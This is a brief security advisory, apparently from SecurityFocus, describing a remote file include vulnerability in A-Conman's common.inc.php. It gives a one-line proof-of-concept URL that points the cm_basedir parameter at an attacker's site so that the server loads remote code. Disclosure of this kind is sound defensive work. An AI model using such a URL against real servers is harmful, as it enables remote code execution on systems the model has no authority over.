A-Conman Common.Inc.PHP Remote File Include Vulnerability

An attacker can exploit this issue via a web client.

The following proof of concept is available:

http://www.example.com/[a-conman_path]/php.incs/common.inc.php?cm_basedir=http://attacker's site


 

Privacy Statement
Copyright 2010, SecurityFocus